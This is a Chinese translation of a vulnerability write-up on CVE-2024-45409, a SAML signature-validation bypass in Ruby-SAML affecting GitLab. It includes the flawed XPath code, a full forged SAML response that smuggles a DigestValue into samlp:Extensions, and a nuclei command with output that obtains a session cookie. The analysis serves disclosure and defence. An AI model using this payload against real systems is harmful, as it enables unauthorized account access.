白帽故事 · 2024年10月8日 0

【CVE-2024-45409】GitLab 身份验证绕过分析

前言

本文将分析CVE-2024-45409 ,这是一个影响 Ruby-SAML、OmniAuth-SAML 库的严重漏洞,它会有效地影响GitLab 。

该漏洞允许攻击者绕过 SAML 身份验证机制,并通过利用 SAML 响应处理方式中的缺陷来获得未经授权的访问。

问题的出现是由于用于保护 SAML 断言的数字签名验证存在缺陷,导致攻击者能够操纵 SAML 响应并绕过关键的安全检查。

SAML 消息验证

SAML 是一种广泛使用的协议,用于在身份提供商 (IdP) 和服务提供商 (SP) 之间交换身份验证和授权数据。

确保交换安全的一个关键部分是通过数字签名和摘要验证来验证数据的完整性和真实性。

首先让我们来了解一下 SAML 签名和摘要验证的工作原理,然后再探索 Ruby-SAML 中发现的可用于绕过签名验证的绕过方法。

SAML 签名如何工作?

在典型的 SAML 响应中,Assertion元素保存关键的安全信息,例如经过身份验证的用户的详细信息。为了确保此信息不被篡改,会对其进行数字签名。

Assertion元素和摘要计算

Assertion元素包含安全凭证,并且通过计算Assertion规范化内容的摘要(哈希)来保护该元素的完整性。

在计算此摘要之前,从Assertion中删除签名节点,然后,该摘要包含在签名元素的SignedInfo块中。

Signature元素和SignedInfo块

Signature元素包括SignedInfo块,其中包含:

  • 指向Assertion的引用 URI
  • DigestValue ,表示Assertion块的摘要,计算后存储在该块中

将摘要包含在 SignedInfo 块中后,将使用 IdP 的私钥对整个 SignedInfo 进行签名,并将结果放置在SignatureValue元素中。

以下是结构的简化 XML 示例:

<Assertion ID="_abc123">
  <Signature>
    <SignedInfo>
      <Reference URI="#_abc123">
        <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
        <DigestValue>abc123DigestValue</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>SignedWithPrivateKey</SignatureValue>
  </Signature>
    <!-- Assertion contents -->
</Assertion>

摘要和签名如何保证完整性?

对Assertion的任何修改都会改变其摘要值,但是,由于SignedInfo元素包含原始摘要值并使用 IdP 的私钥进行签名,因此攻击者无法在不使签名无效的情况下更改 SignedInfo 块。

此机制可确保在服务提供商 (SP) 验证响应时检测到对Assertion的未经授权的更改。

签名验证流程

当服务提供商 (SP) 收到 SAML 响应时,它会执行两项关键检查:

  1. 摘要验证:SP 计算Assertion的摘要(在删除 Signature 节点之后)并将其与SignedInfo块中存在的DigestValue进行比较。如果摘要不匹配,则表明Assertion已被篡改

  2. 签名验证:SP 使用 IdP 的公钥来验证SignedInfo块上的签名,如果签名有效,则确认 IdP 签署了该消息并且该消息未被修改

Ruby-SAML 绕过

在 Ruby-SAML 库中,在实际签名验证之前会进行多项验证,包括架构验证和Assertion数量检查,然而,由于在验证过程中如何使用 XPath 提取某些元素,因此出现了一个特定的漏洞

XPATH 复习:

/ – 选择从文档的根开始的节点。

例如, /samlp:Response 检索<samlp:Response>根节点,同样, /samlp:Response/saml:Issuer 将从根节点<saml:Issuer>开始访问<samlp:Response>

./ – 选择相对于当前节点的节点,例如,如果当前上下文是<Signature>元素,则./SignedInfo将返回<SignedInfo>节点,该节点是<Signature>的直接子节点

// – 这将从文档中的任何位置选择节点,包括所有嵌套节点。例如, //SignedInfo将选择<SignedInfo>的所有实例,无论它们在文档中嵌套的深度如何

Ruby-SAML 库中提交了一个补丁(请参阅此处),试图加强安全性,以前,在 XPath 选择器中使用//访问元素的方式过于宽松

file

问题出在这里:当从引用节点提取DigestValue时,使用了 XPath 表达式 //ds:DigestValue 这意味着将从文档中的任何地方选择第一个出现的带有 DSIG 命名空间的 DigestValue 元素。

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)

通过利用此漏洞,攻击者可以将另一个DigestValue偷运到 samlp:extensions 元素内的文档中,该元素旨在保存具有有效命名空间的任何元素。

绕过签名验证

该漏洞允许我们绕过签名验证,如下所示:

  • 我们在 samlp:extensions 元素中插入修改后的Assertion的DigestValue

  • XPath 选择器将提取这个走私的DigestValue,而不是来自SignedInfo块的 DigestValue

  • 由于SignedInfo块本身没有被修改,因此它通过了签名检查,但实际的Assertion内容可能已被篡改

以下示例说明了如何在代码中利用这一点:

hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))

unless digests_match?(hash, digest_value)
  return append_error("Digest mismatch", soft)
end

unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
  return append_error("Key validation error", soft)
end

在这种情况下:

  • canon_hashed_element指的是没有 Signature 块的 Assertion 块

  • encoded_digest_value是我们在 samlp:extensions 中走私的受控DigestValue

  • canon_string指的是 SignedInfo 块

以下是执行 SAML 绕过的 SAML 响应示例:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
    ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
    IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
    <samlp:Extensions>
        <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
            legitdigestvalue
        </DigestValue>
    </samlp:Extensions>
    <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </samlp:Status>
    <saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        xmlns:xs="http://www.w3.org/2001/XMLSchema">
        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
        <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
            <SignedInfo>
                <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
                <Reference URI="#_911d8da24301c447b649">
                    <Transforms>
                        <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                        <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                    </Transforms>
                    <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                    <DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
                </Reference>
            </SignedInfo>
            <SignatureValue>
                KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
            <KeyInfo>
                <X509Data>
                    <X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
                </X509Data>
            </KeyInfo>
        </Signature>
        <saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                jackson-pwnnnnnn@example.com</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
                    NotOnOrAfter="2024-10-03T13:55:44.973Z"
                    Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
            NotOnOrAfter="2024-10-03T13:55:44.973Z"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AudienceRestriction>
                <saml:Audience>https://saml.example.com/entityid</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
            SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:Attribute Name="id"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="email"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    jackson@example.com</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>

</samlp:Response>

通过创建nuclei 模板,方便在获得目标用户的SAMLResponse后简化获取会话 cookie 的过程:

$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code  -var SAMLResponse='REDACTED'

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.4

        projectdiscovery.io

[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]

结论

CVE-2024-45409 漏洞展示了签名验证中的细微缺陷如何产生严重后果,使攻击者能够绕过关键身份验证机制,分析强调了严格验证程序的重要性,尤其是在处理 SAML 等安全协议时。

虽然该漏洞已得到修补,但它提醒了我们,如果不仔细实施,即使是广泛采用的库也可能隐藏漏洞。

依赖 Ruby-SAML/OmniAuth-SAML 进行身份验证的组织/应用程序应确保该库是最新的,通过了解此类漏洞的性质,开发人员和安全团队可以加强对潜在攻击的防御。

以上内容由骨哥翻译并整理。

原文:https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/